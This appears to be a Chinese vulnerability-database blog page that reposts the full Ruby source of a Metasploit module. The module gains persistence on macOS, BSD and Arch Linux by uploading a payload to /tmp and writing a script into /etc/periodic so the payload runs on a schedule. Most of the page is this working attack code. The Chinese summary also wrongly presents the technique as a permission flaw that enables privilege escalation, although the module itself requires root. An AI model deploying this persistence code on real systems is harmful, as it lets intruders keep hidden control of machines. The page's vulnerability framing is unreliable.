Periodic Script Persistence

漏洞信息

漏洞名称: Periodic Script Persistence

漏洞类型: 权限提升

漏洞等级: 高危

漏洞描述: 该漏洞利用模块通过在/etc/periodic目录下写入脚本实现持久化攻击。根据The Art of Mac Malware的资料,截至2024年,尚未有恶意软件采用此种方式进行持久化。此攻击需要root权限才能执行,适用于BSD、OSX或Arch Linux系统。

受影响产品: 该漏洞主要影响Mac OS X、BSD和Arch Linux操作系统。这些系统广泛应用于个人电脑、服务器以及开发环境中,特别是在需要高安全性和稳定性的场景下。

漏洞解释: 此漏洞属于权限提升类型,攻击者通过在系统的/etc/periodic目录下写入恶意脚本,利用系统的定时任务机制实现持久化。漏洞的根源在于系统对/etc/periodic目录的权限控制不足,允许攻击者写入可执行脚本,从而在系统执行定时任务时自动运行恶意代码。

影响分析: 该漏洞允许攻击者在获得root权限后,通过写入恶意脚本实现持久化攻击,可能导致系统被长期控制、数据泄露或服务中断。由于攻击需要root权限,因此攻击者通常需要先通过其他方式获取系统的高权限。一旦攻击成功,恶意脚本将在系统执行定时任务时自动运行,增加了检测和清除的难度。

产品名称: Mac OS X, BSD, Arch Linux

来源: https://github.com/rapid7/metasploit-framework/blob/2351a6a9bcc374b35cca4c59906c7bfdc84a9149/modules%2Fexploits%2Fmulti%2Flocal%2Fperiodic_script_persistence.rb

类型: rapid7/metasploit-framework:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Post::File
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Periodic Script Persistence',
'Description' => %q{
This module will achieve persistence by writing a script to the /etc/periodic directory.
According to The Art of Mac Malware no such malware species persist in this manner (2024).
This payload requires root privileges to run. This module can be run on BSD, OSX or Arch Linux.
},
'License' => MSF_LICENSE,
'Author' => [
'gardnerapp',
'msutovsky-r7'
],
'References' => [
[
'URL', 'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',
'URL', 'https://superuser.com/questions/391204/what-is-the-difference-between-periodic-and-cron-on-os-x/'
]
],
'DisclosureDate' => '2012-04-01',
'Privileged' => true,
'Targets' => [
[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],
['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],
[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
],
'DefaultTarget' => 4,
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)

register_options([
OptEnum.new('PERIODIC_DIR', [true, 'Periodic Directory to write script eg. /etc/periodic/daily', 'daily', %w[daily weekly monthly]]),
OptString.new('PERIODIC_SCRIPT_NAME', [false, 'Name of periodic script', Rex::Text.rand_text_alphanumeric(rand(6..13))]),
OptString.new('PAYLOAD_DIR', [true, 'Directory to write payload to', '/tmp/']),
OptString.new('PAYLOAD_FILENAME', [true, 'Name of the payload file', Rex::Text.rand_text_alphanumeric(rand(6..13))])
])
end

def check
periodic = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

if writable? periodic
return CheckCode::Vulnerable "#{periodic} is writable"
else
CheckCode::Safe "Unable to write to #{periodic}"
end
end

def write_payload(payload_bin)
payload_dir = datastore['PAYLOAD_DIR']
fail_with(Failure::BadConfig, "The #{payload_dir} is not writable.") unless writable? payload_dir

payload_dir += '/' unless payload_dir.ends_with? '/'

payload_file = payload_dir + datastore['PAYLOAD_FILENAME']

if upload_and_chmodx(payload_file, payload_bin)
print_good "Writing payload to #{payload_file} suceeded"
else
fail_with(Failure::UnexpectedReply, "Unable to write payload to #{script}")
end

# add payload to cleanup
@clean_up_rc << "rm #{payload_file} "
payload_file
end

def write_periodic_script(payload_file)
periodic_dir = "/etc/periodic/#{datastore['PERIODIC_DIR']}/"

periodic_script = periodic_dir + datastore['PERIODIC_SCRIPT_NAME']

@clean_up_rc << periodic_script.to_s

if upload_and_chmodx(periodic_script, payload_file.to_s)
print_status "Succesfully wrote periodic script to #{periodic_script}. This will execute #{payload_file}."
else
fail_with(Failure::UnexpectedReply, "Unable to write #{periodic_script}")
end
end

# determine which version of python is installed on the system and return it's path
def get_python
print_status 'Getting python version & path.'

# variable needs to be created before eval, can't declare in eval
python = cmd_exec('which python3 || which python2 || which python')

if python.blank? || !file?(python)
fail_with(Failure::PayloadFailed, 'Unable to find python version. ')
end

print_good "Found python path #{python}"
python
end

def exploit
@clean_up_rc = 'sudo '

if target['Arch'] == ARCH_PYTHON
python = get_python
payload_bin = "#{python}\n" + payload.encoded
elsif target['Arch'] == ARCH_CMD
payload_bin = "#!/usr/bin/env #{cmd_exec('echo ${SHELL}')}\n" + payload.raw
else
payload_bin = generate_payload_exe
end

payload_file = write_payload payload_bin

write_periodic_script payload_file

print_status("Cleanup command '#{@clean_up_rc}'")
end
end



Periodic Script Persistence
http://example.com/2025/07/10/github_2125612666/
作者
lianccc
发布于
2025年7月10日
许可协议